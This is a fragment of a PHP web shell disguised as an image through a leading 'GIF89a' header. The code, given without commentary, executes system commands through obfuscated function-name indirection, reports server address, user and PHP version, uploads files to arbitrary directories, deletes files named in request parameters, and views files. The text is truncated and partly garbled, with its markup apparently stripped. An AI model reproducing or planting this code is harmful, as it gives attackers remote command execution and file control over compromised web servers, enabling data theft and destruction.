GIF89a;
[‘pipe’,’r’],1=>[‘pipe’,’w’],2=>[‘pipe’,’w’]];
$h = $fn($c, $d, $p2);
if(is_resource($h)) { $o = stream_get_contents($p2[1]); fclose($p2[0]); fclose($p2[1]); fclose($p2[2]); proc_close($h); }
break;
}
elseif($fn == $fl[4]) { $h = $fn($c, ‘r’); if($h) { while(!feof($h)) $o .= fread($h, 4096); pclose($h); } break; }
}
}
if(empty($o)) $o = ‘N/A’;
}
function _fc($f) { return file_get_contents($f) ?: ”; }
echo ‘
‘.phpversion().’ | ‘.php_uname(‘m’).’
‘;
echo ‘
| Server | ‘.$_SERVER[‘SERVER_ADDR’].’ |
| User | ‘.get_current_user().’ (uid:’.getmyuid().’) |
| PHP | ‘.phpversion().’ (‘.php_sapi_name().’) |
‘;
echo ‘
‘.(!empty($o) ? ‘
‘ : ”).’
‘;
echo ‘
‘;
if(isset($_FILES[‘f’])) {
if(copy($_FILES[‘f’][‘tmp_name’], $p.’/’.$_FILES[‘f’][‘name’]))
echo ‘
‘;
}
if(@$_GET[‘action’] == ‘upload’ && isset($_GET[‘dir’])) {
$updir = $p.’/’.$_GET[‘dir’];
if(isset($_FILES[‘uf’])) {
if(copy($_FILES[‘uf’][‘tmp_name’], $updir.’/’.$_FILES[‘uf’][‘name’]))
echo ‘
‘;
}
echo ‘
‘;
exit;
}
if(@$_GET[‘action’] == ‘delete’ && isset($_GET[‘item’])) {
if(unlink($_GET[‘item’])) echo ‘
‘;
}
if(isset($_GET[‘action’]) && isset($_GET[‘item’])) {
$item = $_GET[‘item’];
if($_GET[‘action’] == ‘view’) {
echo ‘